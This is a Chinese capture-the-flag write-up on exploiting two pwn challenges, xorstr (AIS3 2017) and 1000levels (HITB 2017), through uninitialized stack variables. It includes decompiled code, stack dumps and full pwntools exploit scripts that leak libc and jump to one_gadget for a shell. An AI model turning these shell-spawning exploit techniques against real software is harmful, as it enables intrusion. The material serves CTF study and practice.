两个未初始化的弱点利用题~
ais3-2017-final-xorstr
分析
本题依然给了libc,直接运行是如名字一样进行异或操作,只有这一个功能:
检查下保护,发现只有最基本的nx保护:
分析反编译代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int __fastcall xorstr(char *input) { char s[128]; char result[128];
printf("What do you want to xor :"); read_input(s, 0x80u); xorlen = strlen(s); for ( count = 0; count < xorlen; ++count ) result[count] = input[count] ^ s[count]; return printf("Result:%s", result); } int process() { char input[128];
printf("Your string:"); read_input(input, 0x80u); return xorstr((__int64)input); } int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { double v3;
init(v3); while ( 1 ) process(); }
|
如上漏洞出现在xorstr
函数中,当输入到s的字符个数刚好为0x80时,不会添加’\0’,观察栈布局,result刚好在s之上,初始时result第一个可能是’\0’,但是这个函数会被循环调用,可能就能控制result的值,于是就能控制xorlen的长度,于是使count超出0x80,result[count]就会溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| gdb-peda$ x/40gx 0x7fffffffdf40 0x7fffffffdf40: 0x6262626262626262 0x000000ff00000a62 <-s 0x7fffffffdf50: 0x0000000000000000 0x0000000000000000 0x7fffffffdf60: 0x0000000000000000 0x0000000000000000 0x7fffffffdf70: 0x0000000000000000 0x0000000000000000 0x7fffffffdf80: 0x00007fffffffe050 0x00007fffffffdf90 0x7fffffffdf90: 0x0000000000000000 0x00007fffffffe1c0 0x7fffffffdfa0: 0x0000ff00000000ff 0x0000000000000000 0x7fffffffdfb0: 0x00007fffffffe020 0x0000000000000000
0x7fffffffdfc0: 0x00007fffffffe050 0x00007ffff7b156f0 <-result 0x7fffffffdfd0: 0x0000000000000080 0x00007fffffffe050 0x7fffffffdfe0: 0x0000000000000000 0x00007ffff7fcf700 0x7fffffffdff0: 0x000000000000000c 0x0000000000000000 0x7fffffffe000: 0x0000000000000000 0x00007ffff7ffe170 0x7fffffffe010: 0x0000000000000005 0x00000000004007ea 0x7fffffffe020: 0x0000008000000000 0x00007fffffffe050 0x7fffffffe030: 0x0000000000000000 0x0000000bf7ffe170
0x7fffffffe040: 0x00007fffffffe0d0 0x0000000000400999 <-rbp retAddr
0x7fffffffe050: 0x6161616161616161 0x00000000000a6161 <-input 0x7fffffffe060: 0x00007fffffffe078 0x00007ffff7de30d1 0x7fffffffe070: 0x0000000000000000 0x0000000000000000
|
这是它们的内存布局与内容,可见bp=s[0x80]=result[0]^input[0x80]
而此时result[0]=s[0]^input[0]
同理可以推出返回地址,再逆推即可控制返回地址,这里有一个问题就是我们能控制s和input,但是不能控制input后的内容,但是通过观察程序可知input后紧接着rbp与retAddr,而rbp指向栈,可以通过前面的碎片泄露出来,后面指向process
里面,这个位置固定,于是可以通过:
1 2 3 4
| s[0x8:0x10]=0xffffffffffffffff input[0x88:0x90]==0x4009b4 input[0x8:0x10]=one_gadget^s[0x8:0x10]^input[0x88:0x90] ret = s[0x8:0x10]^input[0x8:0x10]^input[0x88:0x90]
|
这样ret = one_gadget
啦,不过还有一件事,要使用one_gadget需要知道libc基址,通过观察发现result[8]处存放的是libc的内容,于是可以先泄露出来,在计算libcbase!
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
|
from pwn import * binary,ip,port = 'xorstr','127.0.0.1',1234 one_gadget = 0xd691f
def init(): global p if args.REMOTE: p = remote(ip,port) else: p = process(binary)
def genP(): s = 'a'*0x80
inp136_144 = p64(0x4009b4) inp8_16 = p64(one_gadget^u64('a'*8)^u64(inp136_144))
inp = 'b'*8+inp8_16+'\x00'*10
return inp,s def mySend(inp,s): p.sendafter('string:',inp) p.sendafter('to xor :',s)
if __name__=='__main__': init()
mySend('\x00'*0x80,'\x01'*8) tmp = p.recvuntil('Your')[7+8:-4] tmp = u64(tmp+(8-len(tmp))*'\x00') libcbase = tmp-0xdb6f0 print 'libc:',hex(libcbase) one_gadget += libcbase print 'one_gadget',hex(one_gadget) inp,s = genP() mySend('\x00'*0x80,'\x01'*0x40) mySend(inp,s) p.interactive()
|
结果
HITB-GSEC-CTF-2017-1000levels
分析
提供libc,运行是做计算,输入两次要次数,次数会相加,检查安全:
开了PIE有点难受,分析代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int __cdecl main(int argc, const char **argv, const char **envp) { int opt;
init(); banner(); while ( 1 ) { while ( 1 ) { print_menu(); opt = read_num(); if ( opt != 2 ) break; hint(); } if ( opt == 3 ) break; if ( opt == 1 ) go(); else puts("Wrong input"); } give_up(); return 0; }
|
main就一个选单,没有什么明显的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| int go(void) { int v1; __int64 leve; __int64 levea; int v4; __int64 first; signed __int64 total; signed __int64 count; __int64 v8;
puts("How many levels?"); leve = read_num(); if ( leve > 0 ) first = leve; else puts("Coward"); puts("Any more?"); levea = read_num(); total = first + levea; if ( total > 0 ) { if ( total <= 999 ) { count = total; } else { puts("More levels than before!"); count = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(count) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", count, (unsigned int)(v1 - v4), levea); puts((const char *)&v8); } else { puts("You failed."); } exit(0); } return puts("Coward"); }
|
如上,当leve不大于0时,first没有被初始化且未被赋值,直接使用将会出现问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| _BOOL8 __fastcall level(signed int count) { __int64 v2; char buf[32]; unsigned int v4; unsigned int v5; unsigned int v6; int i;
*(_QWORD *)buf = 0LL; *(_QWORD *)&buf[8] = 0LL; *(_QWORD *)&buf[16] = 0LL; *(_QWORD *)&buf[24] = 0LL; if ( !count ) return 1LL; if ( (unsigned int)level(count - 1) == 0 ) return 0LL; v6 = rand() % count; v5 = rand() % count; v4 = v5 * v6; puts("===================================================="); printf("Level %d\n", (unsigned int)count); printf("Question: %d * %d = ? Answer:", v6, v5); for ( i = read(0, buf, 0x400uLL); i & 7; ++i ) buf[i] = 0; v2 = strtol(buf, 0LL, 10); return v2 == v4; }
|
如上一个明显的栈溢出,但是开了PIE有没有什么泄露,不能覆盖到有效的地址。
1 2 3 4 5 6 7 8 9 10
| int hint(void) { char hintStr[264];
if ( show_hint ) sprintf(hintStr, "Hint: %p\n", &system); else strcpy(hintStr, "NO PWN NO FUN"); return puts(hintStr); }
|
hint很关键,直接看似乎没什么问题,show_hint在bss处不能被改写,第一个分支进不去,但是看反汇编代码:
(/image1/2018-01-07-15-51-36.png)
无论是否要进入分支,他都会把数据放栈上,若在go里面这个数据未被覆盖能拿来用,那将是可利用的,幸运的是,他的确就在上面的分析的first上,他们处于同一地址,那么第一次输入0时,first的值将位system的地址,另外total = first + levea;
的leavea是可控的,于是又控制了栈上一个数据,这样就有两种思路:
- go可循环进入,当
total<=0
时会返回Coward
,于是从高到低即可爆出system的地址,知道地址即可覆盖返回地址,此时可以使用libc中的gadget构造system(“sh”),也可以直接使用one_gadget
- 直接使用one_gadget,将total改写为其地址,只需要在level函数返回时ret滑行即可到达total,这样的难点就是差一个ret gadget的地址了,开了pie其他部分都随机,可以利用vsyscall
代码
这里使用第二种方式,使用vsyscall,它的地址为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
from pwn import * binary,ip,port = '1000levels','127.0.0.1',1234 one_gadget = 0x3f2d6 offset = one_gadget-0x000000000003f450 retAddr = 0xffffffffff600000 def init(): global p if args.REMOTE: p = remote(ip,port) else: p = process(binary)
def hint():
p.sendlineafter('Choice:\n','2') def play(): p.recvuntil('Question: ') expr = p.recvuntil('=')[:-1] result = eval(expr) log.info(expr+str(result)) p.sendlineafter('Answer:',str(result))
def go(): p.sendlineafter('Choice:\n','1')
p.sendlineafter('levels?\n','0')
p.sendlineafter('more?\n',str(offset)) for _ in range(999): play() payload = 'a'*0x38+p64(retAddr)*3
p.send(payload) p.interactive() if __name__=='__main__': init() hint() go() p.interactive()
|
然鹅失败了,不知道为什么vsyscall上会出现段错误。。。
参考
https://github.com/briansp8210/CTF-writeup/tree/master/AIS3-2017-final
http://www.cnblogs.com/wangaohui/p/7122653.html